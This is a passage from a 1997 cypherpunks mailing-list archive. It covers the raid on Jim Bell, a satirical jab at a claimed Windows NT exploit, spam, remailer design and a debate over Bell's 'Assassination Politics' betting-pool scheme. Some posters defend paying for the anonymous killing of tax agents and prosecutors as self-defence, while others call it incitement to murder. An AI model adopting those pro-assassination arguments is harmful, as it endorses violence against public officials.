internet IRC 'chat sessions'.  
	"Diffie Hellman is not secure. It has back doors in it. I mean it
is suspected to have back doors in it. I mean some guy thinks it might
have a back door in it. I wrote about it in my paper. Go read my paper."
Unfortunately, Meinel was not able to be questioned as to the name of her
paper. 
	With her knowledge of cryptography, Meinel was able to make a
'k-rAd x-pl0it' against the Windows NT operating system. Carolyn found
that if one has administrator access to the 'NT box' than she could
decrypt the passwords because of NT's lax cryptography. When asked about
the possibility that her exploits come out of other areas, such as
bugtraq or dcstuff, Meinel replied with "Oh, I'd say I only get %5 from
the other lists." When asked again, she came back with "Ok, well about
%lk3j3pfv;ldjf08w  damn line noise anyways, the point is that I found an
x-ploit in NT that should be fixed."
	Mike Nash, Director of Marketing for WindowsNT thinks differently
of though. "Even Ms. Meinel said that if you use 'really big passwords'
than decryption is not possible. If you look at the NT manuals, you will
notice that they have always cautioned to use really big passwords.
Besides, isn't this the same bug that was found last week?"
	We tried to reach Meinel for comment, but she was unreachable.
Getting a straight answer out of her "is like nailing Jello to the wall,"
as one crypto-hacker put it after talking to her.
                                                                         
T.I.


Incubus                                                 "SunOS, the swiss
the_incubus@juno.com                         cheese of UNIX"
...Major





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 3 Apr 1997 21:29:43 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Jim Bell raid
In-Reply-To: <199704040410.WAA02207@manifold.algebra.com>
Message-ID: <Pine.GSO.3.95.970404002508.11418A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Yes, there are. I have a copy of the search warrant, IRS affidavit, and
list of seized items. Beyond that, there's nothing else in the court
record. And the U.S. Attorney isn't saying much.

-Declan

On Thu, 3 Apr 1997, Igor Chudov @ home wrote:

> To all lawyers out there: aren't there PUBLIC RECORDS that contain
> teh search warrant with the probably cause explanation and other
> material? It would be interesting to send a letter to some court
> and ask for all public record stuff about jimbell.
> 
> just an idea
> 
> igor
> 
> Duncan Frissell wrote:
> > 
> > -----BEGIN PGP SIGNED MESSAGE-----
> > 
> > At 12:16 PM 4/3/97 -0800, Greg Broiles wrote:
> > 
> > >It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
> > >haven't seen him write anything that I thought was criminal. 
> > 
> > The government persists in harassing or arresting people in these 1st
> > Amendment cases even though they know they will not even be able to survive a
> > motion to dismiss.  It seems to be recreational for them.  You can tell
> > they're not serious because they didn't arrest Jim.   
> > 
> > JB has certainly managed to get noticed amongst all the "noise" out there in
> > the world.  Very difficult to do.  And it's getting worse with the Nets.  How
> > many death threats must whitehouse.gov get these days?  They probably lack
> > the person power to investigate all of them.  
> > 
> > This will be another one where the raid gets publicity and the failure to
> > prosecute is only noticed by a few.  When they drop him, he should trumpet it
> > far and wide.  The dropping of the Jake Baker case got little publicity and I
> > even had another lawyer on one of the law lists say that he thought they
> > might try for another indictment.  I knew they'd never get anywhere.
> > 
> > In those very rare cases where you get a guaranteed government loss criminal
> > investigation/prosecution the party involved should verbally abuse the
> > government and point out their manifest pathetic weakness.  It is very rare
> > to be in that situation because the government won't usually back a loser.  I
> > urged Phil Z. to take an aggressive approach in his case but he felt
> > uncomfortable about the idea.  Perhaps as a "leftie" he granted the inherent
> > authority of the government and was reluctant to bash it.
> > 
> > So, JB, find a Portland cybercafe and let 'em have it.
> > 
> > DCF
> > 
> > "Obligatory John Donne quote:  Do Not Ask For Whom the Bell Tools.  It Tolls
> > For Thee."
> > -----BEGIN PGP SIGNATURE-----
> > Version: 4.5
> > 
> > iQCVAgUBM0RxR4VO4r4sgSPhAQFEDQP/b8QTvGKipSK4sUDvKIIznESmPQRncGP9
> > i2venrurNxIiHWorP+C+lpDdrXlC+lrcOfT6WLBFkV7UZTF5qduTqavtXYvCA+7W
> > 1aF6CrE9dWUZNzjnpxMI2t3/Wpr/F7JF+nE1r2R3d6/pCtYZPw3gDeraS34hWXqp
> > tDeuUYPEOyg=
> > =0Znu
> > -----END PGP SIGNATURE-----
> > 
> 
> 
> 
> 	- Igor.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 3 Apr 1997 21:34:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: EVENT!  Rep. Rick White to hold live online town hall meeting 4/10!
In-Reply-To: <199704040431.XAA07521@panix3.panix.com>
Message-ID: <Pine.GSO.3.95.970404003029.11418C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Folks participating in this event may want to ask Rep. White why he
supports the "harmful to minors" Net-censorship standard. (How can I tell
if material on my web page is "harmful" to some Bible Belt fundies? How
can I block kids from viewing my site? Same problems we have with the CDA
1.0.)

If he gives satisfactory answers, then -- and only then -- will he be a
"leader on Internet policy issues." After all, the best Internet policy is
to just leave it alone.

-Declan


On Thu, 3 Apr 1997, Shabbir Safdar wrote:

> =========================================================================
>      _                                                             _
>   __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
>  / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
> | (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
>  \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
>                                                 |___/
>                          Government Without Walls
> _________________________________________________________________________
> Update No.3              http:/www.democracy.net/            April 3 1997
> _________________________________________________________________________
> Table of Contents
> 
>  - Join Internet Caucus Co-Founder Rick White (R-WA) Live Online April 10.
>  - Background on Rep. White
>  - Upcoming Events
>  - About democracy.net
> ___________________________________________________________________________
> JOIN INTERNET CAUCUS-CO FOUNDER REP. RICK WHITE (R-WA) LIVE ONLINE!
> 
> Representative Rick White (R-WA), co-founder of the Congressional Internet
> Caucus and leader on Internet policy issues, will be the guest at
> democracy.net's first live, interactive 'town hall meeting' on Thursday
> April 10 at 8:30 pm ET (5:30 pm PST).
> 
> The town hall meeting, moderated by Wired Magazine's Todd Lappin, will be
> completely virtual.  The discussion will be cybercast live via RealAudio,
> and listeners can join a simultaneous interactive chat discussion and pose
> questions to Rep. White.
> 
> This is a unique opportunity for Internet users to discuss current Internet
> issues, including efforts to reform US Encryption policy, the future of the
> Communications Decency Act, the activities of the Congressional Internet
> Caucus, and others.
> 
> Details on the event, including instructions on how you can submit questions
> in advance, are attached below.
> 
> ____________________________________________________________________________
> INSTRUCTIONS ON HOW TO PARTICIPATE
> 
>          * Interactive Town Hall Meeting with Rep. Rick White (R-WA) *
> 
>  DATE:      Thursday, April 10, 1997
>  TIME:      5:30 pm PST / 8:30 pm EST
>  LOCATION:  http://www.democracy.net
> 
> In advance of the town hall meeting, please visit http://www.democracy.net
> and fill out the form to ask Rep. White a question.  We will collect the
> questions and forward them to the moderator on the day of the event, and
> will make every effort to ensure that questions from constituents are asked
> first.
> 
> 1. Attend and ask Rep. White a question!
> 
>    Please mark this date in your calendar: Thursday April 10, 5:30PM PST
>    at http://democracy.net/
> 
> 2. Get your friends and co-workers to join the discussion
> 
>    Members of Congress love to hear from their constituents. If you have
>    friends that live in the district, please forward this invitation and
>    encourage them to attend.
> 
> _____________________________________________________________________________
> BACKGROUND
> 
> Congressman Rick White, 43, is serving his second term representing the
> people of the First Congressional District of Washington state, which
> includes parts of Seattle, Redmond, and surrounding areas.
> 
> In 1995, White gained national attention through his work on the
> Internet and high-technology issues. He was one of a handful of members
> selected to develop the final Telecommunications Act of 1996.  As the
> founder of the Congressional Internet Caucus, he has worked to educate
> members of Congress about the Internet and to create a more open,
> participatory government through the use of technology.
> 
> Additional Information can be found at the following locations:
> 
> * Rep. Rick White's Home Page   --   http://www.house.gov/white/
> * democracy.net Page            --   http://www.democracy.net/
> 
> _______________________________________________________________________________
> UPCOMING EVENTS
> 
> Representative Anna Eshoo (D-CA), Internet policy leader from Silicon
> Valley, will be the guest at democracy.net's interactive 'town hall meeting'
> on Wednesday April 16 at 8:30 pm ET (5:30 pm PST).
> 
> Visit http://www.democracy.net for more details.
> 
> _______________________________________________________________________________
> ABOUT DEMOCRACY.NET
> 
> The democracy.net is a joint project of the Center for Democracy and
> Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
> ways of enhancing citizen participation in the democratic process via
> the Internet.
> 
> To this end, democracy.net will host live, interactive cybercasts of
> Congressional Hearings and online town hall meetings with key policy makers.
> 
> democracy.net is made possible through the generous support of WebActive,
> Public Access Networks, the Democracy Network, and DIGEX Internet.  More
> information about the project and its sponsors can be found at
> http://www.democracy.net/about/
> 
> To receive democracy.net announcements automatically, please visit our
> signup form at http://www.democracy.net/
> 
> _____________________________________________________________________________
> End update no.3                                                    04/03/1997
> =============================================================================
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: johnp345@norway-c.it.earthlink.net
Date: Fri, 4 Apr 1997 05:34:48 -0800 (PST)
To: You130@aol.com
Subject: Hey Baby! XOXOXO
Message-ID: <199704041158.DAA06776@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain




Click Here


18 and over only!



















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Fri, 4 Apr 1997 00:10:01 -0800 (PST)
To: Toto <cypherpunks@toad.com
Subject: Re: Assassination Politics on Website
Message-ID: <3.0.32.19970404020726.007c27c0@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


At 11:06 PM 4/3/97 -0600, Toto wrote:
>Jim Bell's "Assassination Politics" is at:
>http://www3.sk.sympatico.ca/carljohn/

Toto, I'm disappointed. You didn't even point them at
http://bureau42.base.org/public/apfull.txt
where the (AFAIK) complete AP essays have lived for months.

(Note that's the same site that hosts The Xenix Chainsaw
Massacre and the current drafts of WebWorld: The True
Story of the Internet, modulo the last part of the URL.)

dave




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 00:37:33 -0800 (PST)
To: "David E. Smith" <dsmith@prairienet.org>
Subject: Re: Assassination Politics on Website
In-Reply-To: <3.0.32.19970404020726.007c27c0@midwest.net>
Message-ID: <3344BD62.2068@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


David E. Smith wrote:
> 
> At 11:06 PM 4/3/97 -0600, Toto wrote:
> >Jim Bell's "Assassination Politics" is at:
> >http://www3.sk.sympatico.ca/carljohn/
> 
> Toto, I'm disappointed. You didn't even point them at
> http://bureau42.base.org/public/apfull.txt
> where the (AFAIK) complete AP essays have lived for months.
> 
> (Note that's the same site that hosts The Xenix Chainsaw
> Massacre and the current drafts of WebWorld: The True
> Story of the Internet, modulo the last part of the URL.)

Dave,
  Thanks for the pointer.
  The one I threw up was just a quickie, and is double spaced
throughout. I'm sure the one you have up is better formatted.
  I talked to Jim Bell tonight and he thinks the basic charges
will be 'intent to have a bad attitude'.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 4 Apr 1997 05:13:37 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Jim Bell raid
In-Reply-To: <199704040533.XAA03035@manifold.algebra.com>
Message-ID: <Pine.GSO.3.95.970404050710.29767A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I've had a couple requests to redistribute or post the info I have on Jim
Bell. I've decided not to. There's a good bit of personal information in
there, including his SSN and information about financial investments, that
I don't feel comfortable posting. I suspect Jim has enough problems
already.

Yes, I know, "information will be free" and all that, but I don't have to
be the cause of its release.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 4 Apr 1997 05:37:12 -0800 (PST)
To: declan@well.com (Declan McCullagh)
Subject: Re: Jim Bell raid
In-Reply-To: <Pine.GSO.3.95.970404050710.29767A-100000@well.com>
Message-ID: <199704041329.HAA07221@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Declan McCullagh wrote:
> 
> I've had a couple requests to redistribute or post the info I have on Jim
> Bell. I've decided not to. There's a good bit of personal information in
> there, including his SSN and information about financial investments, that
> I don't feel comfortable posting. I suspect Jim has enough problems
> already.
> 
> Yes, I know, "information will be free" and all that, but I don't have to
> be the cause of its release.
> 

Oh, OK, I did not know.

Anyway, how does one request that information? What should the letter
to the court say? And what is the address of teh court?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 08:49:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: CypherPunk Prophets / Voices Barfing In The Wilderness / ***CRYPTO RELATED---> Remailers <---CRYPTO RELATED***
In-Reply-To: <3.0.1.32.19970403133700.00693cb8@flash.net>
Message-ID: <3345308A.6DC3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


rocket3@ibm.net wrote:
> Hello!  I wanted to share something very important.

> The God of heaven sent his only Son to this earth
> to let us have a way to be right with God,

  I hate (love!!!) to say, "I told you so.", but...

  I realize that Tim May is the CypherPunk Prophet, foretelling
developments that actually have something remotely to do with
crypto, whereas I, on the other hand, am just a Voice Barfing
In The Wilderness, drunkenly rambling on about God-knows-what
(which, incidentally, reminds me what I meant to say).

  During the height of the "XXX_Your Biased Term_Here XXX" 
experiment on the list, my shotgun delusions led me to claim
that the "Big $$$" spams were just a forerunner of things
to come, with the real fruitcakes coming out of the woodwork
when they realized that they could spam us in the name of
Jesus, or Free Willy, or their brother, Joe, who needs a new
kidney.

  Sure enough, I got my first 'God and Hellfire' spam today,
along with the usual 'Betty Big-Boobs XXX Pics' email. (So I
forwarded 'Betty Big-Boobs' to him, in an attempt to slow him
down by keeping at least one of his hands busy.)

  Then there is 'Computer Jesus', whose friends call him 'Mac'...
> To: List-Abuse <list-abuse@clio.lyris.net>
> Subject: Re: Puzzling Response from juno.com
> several mailing lists whose sole
> charters are evangelizing the Macintosh. Once a message like "Write to
> Juno and tell them that they need to support the Mac!" is posted to one
> of these lists, the flood of mail from evangelical Mac users can reach
> quite a pitch. And I happen to know that Juno was recently targeted for
> just such a campaign.

  I'm still waiting for the one that reads,
"Make Big $$$ Using A 'Mac' To Tell People About Jesus's Big Boobs"
and I know it is only a matter of time before lonely losers, not 
content to bother only the CypherPunks, as I do, will be sending
out 250,000 missives informing everyone that they are having a
"Bad Hair Day".

  I notice that some of the remailer threads on the list are 
taking note of the fact that there needs to to be provisions 
for a variety of remailers capable of doing something more than
merely blocking source-specific abuse, which can open a can
of worms leading to a remailer resembling CyberSitter.
  There need to be remailers capable of being easily customized
to allow only mail 'to' specific sights, such as Crisis Hotlines,
or Whistle Blowers Anonymous, or Send A Congressman To Jail.

  There is need for a remailer which those with individual needs
can easily adapt to meet that need. Then they will be promoting
the remailer in a way that works best for them.
  For instance, there are mental health mailing lists where many
people lurk in the background, afraid to participate in discussions
because they fear discrimination, etc., if the wrong people find
out they are on the list. (I know of one case where an individual
lost the security clearance she needed to keep her job, because 
she was on a mental health support list for her child's benefit,
not her own.)
  This, to me, is a good example of the type of service that 
some remailer operators are eager to provide, but end up 
getting fed up or shut down over the bullshit, instead.

  The more options for instituting use of customized remailers,
the more functional they will be to a wide range of people, and
the more exposure/use they will get.
  Majordomo, for instance, provides for such things as disabling
the 'who' command, to protect identities on medical related lists,
etc., or only allowing subscribers to post.
  If a list operator can program a remailer to send only to their
own list, then they can make it a subscriber and allow people who
fear being discovered to post their concerns through it anonymously,
and advertise its existence in places where those most likely to
need it will find out about the service.

  A good way to promote remailer use is to allow them to be adapted
to purposes that a wider range of people have a specific interest in.
  "Crisis Line Anonymous Remailer" is instantly recognizable to a 
certain segment of people as something that applies to them, as is
"Government Abuse Anonymous Hotline Remailer".

  The current remailer threads on the list contain some excellent
ideas about how to develop remailers that are something other than
generic spammers. I hope that these threads result in new generations
and varieties of remailers that will spread their use by virtue of
being functional to those who really need them for addressing serious
issues in their personal life and in society at large.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 4 Apr 1997 09:28:14 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <5i1l02$3p9@life.ai.mit.edu>
Message-ID: <33453A2A.167E@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> 
> At 3:17 PM -0800 4/3/97, Anil Das wrote:
>     Gee. I too wonder about that, since I am pretty
> >sure the Feds don't have to time to read the cypherpunks
> >list.
> 
> This is simply not true. Various government agencies/employees read the
> Cypherpunks list.

Absolutely! I know quite a few who do.

Before Oaklahoma I spent some time trying to persuade people to take
notice of the net.activities of the likes of Ahmed Cosar, an agent
of the Turkish secret service who posted inflamatory material about
Armenia into various newsgroups under the name Hasan B. Mutlu and 
Serdar Argic. I'd guess that at this point the FBI has its own
version of DejaNews.

Its not hard to do analysis of USEnet, a bit of simple graph
analysis. The real loons tend to turn up on the net.kooks 
list quites quickly in any case.


> This is not a matter of thinking ourselves self-important; this is just a
> simple observation that there aren't a lot of places with more incisive
> analysis of issues of importance to these folks. 

Plus not everyone in the agencies are pro the administration line. 
I've met plenty of CIA and NSA people who think the GAK idea a
pointless and futile waste of time. 

I suspect that most analysts read c'punks for the same reason I
do, to get the widest possible range of views on what the posibilities
for the future are.


> Political advocacy is one thing, but making threats, even veiled ones, is
> another matter.

Absolutely, that is why I was keen for people to oppose Bell's views.
If his ramblings had gone unchallenged he would now be being
presented as a representative of Cypherpunk/ pro-crypto views.

Besides anything else Bell was like the party bore with a 
hobby horse he just has to talk about. I'm somewhat more
sensitive than most to advocates of murdering government 
officials, some of my relatives are in government and have 
had well publicised assasination attempts against them.


I think that Bell's on-list comments may well have been protected
speech but I'm not sure about his off list comments. I'm scanning
through my old mail files at the moment for missives from Bell
re-reading them. 

I think that Bell's posts were entirely different from Tim's or
for that matter almost every other person on the list. Tim 
demonstrated that a covert information sales organisation was
possible with Blacknet but he never advocated setting it up. 
Indeed part of the point was the ethical responsibilities. Bell
on the other hand was likely to respond to any post with his
AP piece. I have throughout considered these to be incitement to 
murder.


It seems quite likely that Bell may have made a statement to an
IRS official that in the context of his authoring the AP piece
may have constituted a threat. If he spouted "Common law court" 
theories as often to the IRS as he did AP on cypherpunks he would
certainly have been marked for scrutiny. Its not hard to 
connect with his AP piece which has been all over USEnet. According
to the story they got it from a copy left behind in Bell's 
seized Honda.


	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 4 Apr 1997 09:37:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cryptographer Hits SNL
Message-ID: <1.5.4.32.19970404172850.006d5714@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Ex-Sandia Labs cryptographer William Payne has filed criminal 
charges with Judge Marilyn Patel against an SNL official for 
unauthorized disclosure of files:

   http://jya.com/snlhit.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 4 Apr 1997 09:30:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bell explodes Freeh theory!
Message-ID: <33453AB5.2781@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


How is Louis Freeh going to keep up the pretense that GAK
will keep crypto out of the hands of drug dealers while
he's prosecuting Jim Bell for crypto related crimes and
Jim already has a conviction for drug manufacture?

	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 4 Apr 1997 12:50:37 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <1.5.4.32.19970404184138.00867764@pop.pipeline.com>
Message-ID: <19970404124803.38657@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, Apr 04, 1997 at 01:41:38PM -0500, John Young wrote:
> On Phil Hallam-Baker's rejoinder to Paul Bradley' defense of AP:
[...]

> Rushdie, hmm. Phil what mind-swill you elbow-tipping? Is Rushie not
> closer to Jim Bell than he is to you in challenging the arrogant mullahs
> of highly sophisticated armed thuggery. Who you shillinging for these 
> days, Crispin's bandits of the NLs?

Crispin shills for himself, not the NLs or any bandits or anyone else. 
Phil Hallam-Baker shills for Phil Hallam-Baker.  Jim Bell's advocacy
of armed thuggery speaks for itself. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 4 Apr 1997 10:27:15 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <5i3942$e76@life.ai.mit.edu>
Message-ID: <33454823.446B@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk wrote:
 
> Not at all, Jim advocates the use of necessary force against an
> initiator of violence, as you would see if you have read Jims AP
> overview essay he does not advocate the use of AP to kill innocent
> people, indeed he does not intend it to kill anyone at all, Rather to
> act as a deterrent to government which would violate the NAP.

Who decides what "innocent" was?

In Jim's world it was very clear that he decided who was innocent,
he decided what his rights were, he decided who he could murder.

He limited the justifiable targets of AP to be those he thought should
be targets. His argument with the IRS appears to have included the
claim that they infringed his rights which under Bell's manifesto
gives him the right to murder them.


> Also, an inevitable consequence of anonymity and untraceable ecash is
> that assasination pools will become a feature of the political
> landscape. 

No, it is not. If it were then Digital cash would never be possible.
Society simply would not allow it and they would be right not to
do so.

It is because Bell's scheme is entirely preposterous that Digital
cash is possible. There is simply no way an AP contract could be 
enforced. The betting pool is simply one of a long line of failed
attempts to prop up the scheme.

No country could allow such a betting pool to operate from its soil,
nor any other such cover. If an IRS agent was murdered as a result
of a contract placed in an Anguilla betting pool the marines would
be landing the next week. No country that is small enough not to be 
threatened by AP has the necessary millitary strength to resist 
invasion. The benmefits of hosting the AP pool are marginal if any
therefore no country would ever host it.


>Of course there is nothing to stop someone betting that an
> innocent person should be killed, this is a great problem in the
> scheme, but if this did occur the friends and family of the victim
> would normally have a pretty good idea who placed the bet and could
> place a bet on their imminent death...

There is everythingt to stop bets being placed period.

Of course the main use of AP would be to murder familly members,
business rivals etc. AP is simply an unrestrained murder machine 
with absolutely no safeguards. 


> Besides which you seem not to have read and understood AP as you have
> ignored Jims comments about the problems of innocent people being
> killed.

This "not understood" conciet is bogus. I have read and fully 
understood Bell's article. It is in my view an incitement to murder.

I have degrees in Nuclear Physics, Electronic Engineering, I have
been offered a contract for my book on the philosophy of 
communication. If Bell can't communicate his idea to me then that is
his fault, his responsibility. I am arguing against the plan
he describes. Do not try the patronising "you are not clever enough
to understand this" line. In this case it is bluster.


> Question: Would you say the assasination of a statist who had badly
> violated the NAP (eg. A district attorney involved in prosecutions
> for drug dealing) was a crime?

Absolutely for the simple reason that mob rule, lynch law is always
criminal. If there is no due process there is no justice. 

Under AP rules the state has a perfect right to execute Bell. Bell
clearly intends the murder of government personel, therefore under
AP rules the government has the "right" to protect itself with AP
if it choses. If it decides on a less arbitrary sanction then
under AP principles that is a concession it is not required to make.

AP eliminates process and with it proof. There are no steps proposed
by which an AP initiator should deterine whether his rights have indeed
been infringed. Therefore an instigator is not acting upon actual
infringement of rights, merely suspected infringment. The state
employees
suspect Bell plots infringement of his rights. Therefore under Bell's
own theory they have the right to respond by infringing his rights,
without trial.

AP does not contain a coherent normative ethical theory.


> WRONG... The LEAs were the initiators of force and violators of the
> NAP, Jim Bell, were he to kill a member of the IRS, would not be
> commiting any crime, rather defending himself from a violation of his
> rights.

He would empirically be guilty of a crime. The courts would consider
it murder and sentence him accordingly. 

You may not consider him ethically to be guitly of something wrong.
I would disagree in that case. The LEAs have the right to initiate force
in accordance with the directions of a court order. They are
pre-emtively
protecting their personal right to defend themselves and on behalf of 
society pre-emptively protecting it.


> If I may make an analogy you are saying that were I to be attacked in
> the street, and I pulled a gun on the attacker he has a "moral" right
> to kill me to protect himself?

He could well have that legal right in certain circumstances.


> > However, I also think that there is a possibility that his statements,
> > either on cypherpunks or elsewhere, may have gone over the line in
> > terms of threatening behavior.  It may be a moral weakness on my part,
> > but I am not too inclined to defend someone who advocates shooting me.
> 
> Then you are of weak character and a closet statist.

Good, now we have discovered that names like statist, liberal etc
are not insults even if bellowed by idiots at the top of their
lungs we can return to sanity.

I will not only refuse to support Bell, I'll testify against him in
court if asked.

> If you believe
> that you are going to violate someone rights to the extent that they
> want to have you killed you clearly have some sort of problem.

People have threatened to murder me for what I have written. Salman
Rushdie is in hiding for the same reason. I don't believe that people
are fit judges of their own cause as Bell and you do.

> Otherwise you have no more to worry about than you do now, AP simply
> allows people perfect (as near as possible) anonymity, You can have
> someone assasinated now without betting pools....

I have plenty to worry about, Bells plan would lead to murder of 
innocent people. 



	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 4 Apr 1997 10:49:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
Message-ID: <1.5.4.32.19970404184138.00867764@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


On Phil Hallam-Baker's rejoinder to Paul Bradley' defense of AP:

Virtually all of Phil's charges against AP apply equally well to
state-sponsored killing in the natonal interest, including that
arranged by highly educated, cultured, philosophical, nuclear 
physicists and electrical engineers.

That's the issue. Who gets to decide who lives and who dies, and
how close the killer is to the slaughter, unprotected by law, by
public consensus, by popular will, by apologetics for the security
of national interest.

Jim Bell is hardly the first to articulate this challenge to the grand
tradition of the majestic state and its precursors -- the king, the 
bandit, the tribal bully, the strong -- all sanctioned beasts taking what 
their trainers want by force, while being excused and celebrated by 
fey intellectuals and balladeers of all craven submissive dress.

Rushdie, hmm. Phil what mind-swill you elbow-tipping? Is Rushie not
closer to Jim Bell than he is to you in challenging the arrogant mullahs
of highly sophisticated armed thuggery. Who you shillinging for these 
days, Crispin's bandits of the NLs?








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Fri, 4 Apr 1997 11:51:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
Message-ID: <19514280601774@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain




Hallam-Baker wrote:
> 
> Timothy C. May wrote:

> > Political advocacy is one thing, but making threats, even veiled ones, is
> > another matter.
> 
> Absolutely, that is why I was keen for people to oppose Bell's views.

  Horseshit. Anybody here ever hear of the Boston Tea Party? How
about the American Revolution?  War of Independece? French Revolution?
  You know, people who said "Fuck this shit, I've had enough." People
who acted in concert to fight injustice and oppression.

  Perhaps Phill and Tim might want to take afternoon tea together
and watch the tanks roll by, since Hitler only wants Austria...
Poland...France...Britain...........
  I haven't noticed anyone on the list suggesting that they are
going to wait to buy a gun until they hear a burglar/murderer
coming through the window.
  If we are going to castigate someone for suggesting ways to take
action against oppressive taxation, then perhaps we should call
the Queen of England, tell her we're sorry for our forefather's
error in judgement, and that we'll start flying the Union Jack
again.

> If his ramblings had gone unchallenged he would now be being
> presented as a representative of Cypherpunk/ pro-crypto views.

  Excuse me? Only people whose views you personally approve of
should be presented as a representative of cypherpunk views?
  I hate to burst your bubble, Phill, but everyone on the list
is a representative of cypherpunk views and people outside the
have a right to pick and choose the various viewpoints as they
see fit.
 
> some of my relatives are in government and have
> had well publicised assasination attempts against them.

  So did Hitler and Mussolini.
 
> I think that Bell's on-list comments may well have been protected
> speech but I'm not sure about his off list comments.

  Then why bring it up? To cast vague aspersions?

> I think that Bell's posts were entirely different from Tim's or
> for that matter almost every other person on the list. Tim
> demonstrated that a covert information sales organisation was
> possible with Blacknet but he never advocated setting it up.

  So you're calling Tim a blowhard who likes to play at anarchy
but lacks the balls to propose anything concrete? *
{* DisinfoTranslation Technique (c) Greg Broiles}

> Indeed part of the point was the ethical responsibilities. Bell
> on the other hand was likely to respond to any post with his
> AP piece. I have throughout considered these to be incitement to
> murder.

  Your own propensity for murderous thoughts in no way reflects on
other individual's interpretations of Jim Bell's intentions.
  Certainly Jim Bell tended to answer questions such as, "What day
is it?" with a speech on AP, but what do hashcash programmers
discuss? Hashcash. What does anyone talk about? The things they
have an active interest in? So what's your point?
 
> It seems quite likely that Bell may have made a statement to an
> IRS official that in the context of his authoring the AP piece
> may have constituted a threat.

  It seems quite likely that Hallam-Baker is inventing facts which
don't exist because he is being paid to do so in order to do a
character assassination on Jim Bell.
  Anyone else want to jump in with off-the-wall claims about what
is "likely" and what is not?

  It seems to me that many list members have their heads further
up their ass than the Feds, since they don't even view Bell's 
threats serious enough to even arrest him. They are on a simple
fishing expedition to try to find a cause to harrass him into
shutting the fuck up.

  A *true fact* (rather than vague bullshit about what is "likely")
is that John Perry's remailer *was* used to send direct threats
to a government official.
  So, Tim and Phill, which one of you wants to step up to the plate
and be the first one to attempt to ostracize him so that his views
about the need for anonymous communications will not be taken as 
representative of the cypherpunks views?
  Or is Perry's implementation of a system that can be abused to
